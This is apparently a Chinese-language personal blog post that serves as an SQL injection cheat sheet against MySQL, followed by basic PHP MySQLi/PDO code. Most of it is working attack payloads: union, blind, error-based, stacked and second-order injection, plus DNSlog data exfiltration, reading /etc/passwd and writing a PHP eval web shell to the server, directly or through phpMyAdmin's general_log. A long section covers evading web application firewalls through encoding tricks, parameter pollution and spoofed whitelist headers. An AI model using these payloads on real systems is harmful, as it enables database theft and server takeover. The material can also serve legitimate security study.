SQL注入

1.基础语法

mysql -u root -proot,连接MySQL

@@basedir,数据库安装路径

@@datadir,数据库数据路径

show databases; show tables; show columns from 数据库名.表名;

alter table user add (id int(10),name var_char(255)); 插入字段

insert into user(name) values('xxx'),('xxx'); 插入数据

update user set name='admin' where name='hacker'; 更改

delete from tabel_name where id=1; 删除

2.类型检测

字符型,?id=1' and 1=2 --+

数字型,id=1 and 1=2

XX型,') and 1=2 --+

3.利用方式(MySQL)

万能密码

' or 1=1 #

union注入(有时要用union all)

?id=1' order by n %23 判断主查询字段位数,where...order by...and...这种情况order by会被忽略

?id=-1' union select database() %23 查当前数据库名

?id=-1' union select group_concat(schema_name) from information_schema.schemata %23 查所有数据库名

?id=-1' union select group_concat(table_name) from information_schema.tables where table_schema=database() %23 查表名

?id=-1' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' %23 查字段名

?id=-1' union select group_concat(字段名) from 表名 %23 查字段内容

布尔盲注

?id=1' and (select count(*) from 表名)=n %23 表的行数为n

?id=1' and length((select 字段名 from 表名 limit n-1,1))=m %23 第n个值长度为m

?id=1' and ascii(substr((select 字段名 from 表名 limit n-1,1),m,1))=p %23 第n个字段第m个字母Ascii为p

时间盲注

?id=1' and sleep(3) %23 检测
?id=1' and if(length(database())=n,sleep(3),1) %23 当前数据库名长度为n

floor报错注入

?id=1' and (select 1 from (select count(*),concat((database()),floor(rand(14)*2))x from information_schema.schemata group by x)a) %23 查当前数据库名(14是最高效的)

原理:

count(*)与group by创建虚拟表,floor(rand(14)*2伪随机前几个结果固定为1010

key count(*)

 第一次等效concat((database()),'1')),在key中找不到这个值应该放入key,但是由于rand()会先一步执行导致放入concat((database()),'0'))

key count(*)
database()0 1

 第二次等效concat((database()),'1')),在key中找不到这个值应该放入key,但是由于rand()会先一步执行导致放入concat((database()),'0'))

key count(*)
database()0 1
database()0  

主键出现重复导致报错,会将database()0爆出

派生表必须有别名,这里用a

操作数必须包含一列所以select 1 from

updatexml报错注入

从不符合Xpath语法格式的地方开始报错,~(0x7e)就不符合

?id=1' and updatexml(1,concat(0x7e,(database())),1) %23 查当前数据库名

extractvalue报错注入

从不符合Xpath语法格式的地方开始报错,~(0x7e)就不符合

?id=1' and extractvalue(1,concat(0x7e,(database()))) %23 查当前数据库名

堆叠注入

mysqli_multi_query()支持多条SQL语句执行

?id=1';SQL语句;SQL语句...

二次注入

修改密码,例:

注册用户名为admin'#,UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass';

宽字节注入

后端存在转义,将'转义为\',也就是%5c'

但是如果数据库为GBK编码可以使用%81'绕过

GBK编码,%81%5c代表一个字符,这样就变成了?'

HTTP头注入

User-Agent、Referer、Cookie等

可以结合报错注入'and extractvalue(1,concat(0x7e,database())) and'、'or extractvalue(1,concat(0x7e,database())) or'

DNSlog外带

条件:my.ini配置允许导入导出,secure_file_priv=

http://dnslog.cn/,Get SubDomain获取域名,Refresh Record查看回显

?id=1' and load_file(concat('\\\\',(database()),'.域名/1')) %23 查当前数据库名

读取文件

条件:my.ini配置允许导入导出,secure_file_priv=

select load_file('/etc/passwd')

写入一句话木马

条件:my.ini配置允许导入导出,secure_file_priv=

select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'

phpMyAdmin获取WebShell

show global variables like '%secure%' 查看配置,如果secure_file_priv=,可以直接写入一句话

show global variables like '%general%' 查看日志是否开启

set global general_log=on 开启日志

set global general_log_file='根目录绝对路径' 修改日志路径

select '<?php @eval($_POST[1]);?>' 将一句话记录到日志,日志变为一句话木马

4.WAF绕过

MySQL特性

函数名

大小写

ascii('1')、char(49)、hex('16')、unhex(3136)

sleep(3)、BENCHMARK(700000000,(null))

concat('1','2')、group_concat('1','2')、concat_ws('','1','2')

substr('123',1,1)、mid('123',1,1)、substring('123',1,1)、left('123',1)、lpad('left',1,'x')、rpad('left',1,'x')、right(reverse('123'),'1')

@@user user()

@@version version()

空格

%0a(换行)、%a0(空白)、%0b(垂直tab)、%09(水平tab)、%0c(新一页)、%0d(回车)

/**/、/*!...*/、/*!50000版本>5可执行*/、""、(password)、{x+password}、union(select...)

1.0union、1E0union、\Nunion、1.0from、1E0from、\Nfrom

select+1,...、select-1,...、select!1,...、select@1,...、select~1,...、select\N,...

SELECT 逗号

select name,pass from users where id=-1 union select * from (select database())a join (select database())b;

其他

anD、oR,&&、||

=、like 7、like '%admin_'

order by、group by

limit 0,1、limit 1 offset 0

>、<、greatest(1,2)、least(1,2)

服务器特性

ASP+IIS

s%elect 解析为 select

ASP+IIS & ASPX + IIS

常用解析表:

u %u0055 %u0075

n %u004e %u006e

i %u0049 %u0069

o %u004f %u006f %u00ba

s %u0053 %u0073

l %u004c %u006c

e %u0045 %u0065 %u00f0

c %u0043 %u0063

t %u0054 %u0074 %u00de %u00fe

f %u0046 %u0066

r %u0052 %u0072

m %u004d %u006d

Apache

请求方式不影响:HACK /sql.php?id=1 HTTP/1.1

ASP/PHP

/index.php/1.js?id=

/index.asp/1.js?id=

参数污染

?id=1&id=2&id=3

PHP + Apache:id=3

ASP/ASP.NET + IIS:id=1,2,3

宽字节

union = uю%69яю

select = こхlх%уt

from = цR%яэ

%20=%ва

, = Ь

双重编码

WAF特性

逻辑漏洞

HTTPS、HTTP

同时GET、POST

改变请求方式,GET转POST、POST用multipart/form-data

<form method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>

无效参数:?a=/*&id=SQL&b=*/(让WAF误以为注释掉了)

高频提交

其他漏洞

00截断:?id=1%00SQL

溢出:?id=1&id=1&...&id=SQL

IP白名单

X-Forwarded-For

X-Real-IP

Remote-Addr

X-Originating-IP

URL白名单

?a=/admin/&id=

爬虫白名单

User-Agent: xxx

5.PHP MySQL实现

MySQLi

连接数据库

<?php
$servername = 'localhost';
$username = 'root';
$password = 'root';
$dbname = "lx";
 
$conn = new mysqli($servername, $username, $password, $dbname);
 
if ($conn->connect_error) {
    die($conn->connect_error);
}

查询

$sql = 'select * from users;';
$result = $conn->query($sql);
// $result = mysqli_query($conn, $sql);
 
while($row = $result->fetch_assoc()) {
    echo $row['id'].$row['name'].$row['pass'].'<br>';
}
$sql = 'select * from users;';
$result = mysqli_multi_query($conn, $sql);
 
do{
    $result=mysqli_store_result($conn);
    while($row = $result->fetch_assoc()) {
        echo $row['id'].$row['name'].$row['pass'].'<br>';
    }
} while (mysqli_next_result($conn));

PDO

连接数据库

<?php
$servername = 'localhost';
$username = 'root';
$password = 'root';
$dbname = 'lx';
 
try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置 PDO 错误模式,用于抛出异常
}
catch(PDOException $e) {
    $conn->rollback(); // 如果执行失败回滚
    echo $e->getMessage();
}

执行语句

try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置 PDO 错误模式,用于抛出异常
 
    $sql = 'create table nothing (id int(10))';
    $conn->exec($sql);
}

查询

try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置 PDO 错误模式,用于抛出异常
 
    $sql = 'select * from users';
    $stmt = $conn->prepare($sql); 
    $stmt->execute();
 
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
    foreach($result as $row){
        echo $row['id'].$row['name'].$row['pass'].'<br>';
    }
}
posted @ 2023-04-15 16:00  Hacker&Cat  阅读(94)  评论(0编辑  收藏  举报